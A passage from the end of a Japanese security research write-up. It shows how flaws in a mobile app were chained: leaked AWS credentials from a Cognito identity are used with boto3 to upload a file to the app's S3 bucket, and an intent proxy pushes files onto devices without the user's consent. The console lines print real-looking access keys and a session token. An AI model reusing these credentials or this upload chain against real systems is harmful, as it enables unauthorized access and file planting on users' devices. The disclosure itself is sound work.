W01M1TeWQCvQZ97MIDYifXKRj7ZuulZHnjnPXQYVe8szs4lssjx/PWWJQw9EnxevWKnZK6neRTopqFD8dZYg566k8fBnk72Y65S5ydCx1P3KddbVi/hNs80G5LPV16jpMOeFCMrUrbBbHOwtz8tTnO78T6GcQTN6vF8Lcb21ExqlAgr/V61KDtS3z05LqIFdDugXihW5f6k/663IV7VWSnW5DQMk5t6fGRjqjDul5SDBjqHAuh+sQ22Te+LBgqRYqXhxrd5TfUAqS9QWaaZBOE6i8pOAN9RIXn6vcbObCOVVyt3wnNQ6Oi1URDQCn8DUn0MdFO6NQ2EJ4Y9H9yLm4foG3uJqAiiNPX78lIDa1qkvqaQBckNxhIYsSlrU5p2NdTl5k5woo8pWk2VAibgcq+JfqGrAZ6+tKR2Qy5aP96s49kOcRTqLrPcWjaDl9EWRIHSE20oWqFZgtzhUTKeuH/6dxQKI22MExMYSWJ3haIh4AaKVEpXbbtZ4oJ64w1ZWz5CU7zOnl4m2F8Bwh9hb6mP+95IUp0o9/kXcPjDe9YJ6kYFbDhU4oGCAjAHCxWsL6vJ5poJ/qNL3O15"},"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b"}

収集した鍵とシークレットは、悪意のあるファイルをアップロードするために利用できます。

In [3]: client = boto3.client('s3', aws_access_key_id='ASIA434KFTPDWAXUDMIH', aws_secret_access_key='/zG9QSpBVeJGIWCg4tLGrJDcebFFscSoNvwMRNaO', aws_session_token='IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAJ
rgBgcgwfTTRKStiKqJm0V5lhCaOZGdv5FsTDnjJ1VdAiBPLLqsTPECBMvqlYgZtxQvdjkogHQ6e/sC7sEKx9vzYyqkBgiY//////////8BEAAaDDg4NDUxNjE2NjU5OSIM/3UJHbnWKR8tbGbCKvgFRxHRJ9I3p7eVLDUuFPLWv8ILMCn5Mg1wxDLnY/U1IfbkRRk3V6Evojk
 In [17]: client.upload_file('cross3x3.png', '3gcdn.tokyo', '/tmp/9A6C7-2021-03-09/headpic/crsog.pn')          

そして、このインテントプロキシをダウンロード機能と連鎖させることで、ユーザーの認識や同意なしに、ファイルを端末へダウンロードできます。

攻撃の概略図
Attack Schema

おわりに

本記事は、複数の脆弱性を連鎖させて、モバイルアプリケーションをリモートから悪用できることを示しています。挿入されたファイルは、ユーザーの認識や同意なしに端末から持ち出され得ます。

また、平文通信からハードコードされたパスワード、安全でない暗号化アルゴリズムに至るまで、いくつかのセキュリティ上の欠陥も見られます。

憂慮すべき点は、このように脆弱なアプリケーションが、ユーザーのセキュリティとプライバシーをなおざりにしながら、いかに多くのユーザーに届き得るかということです。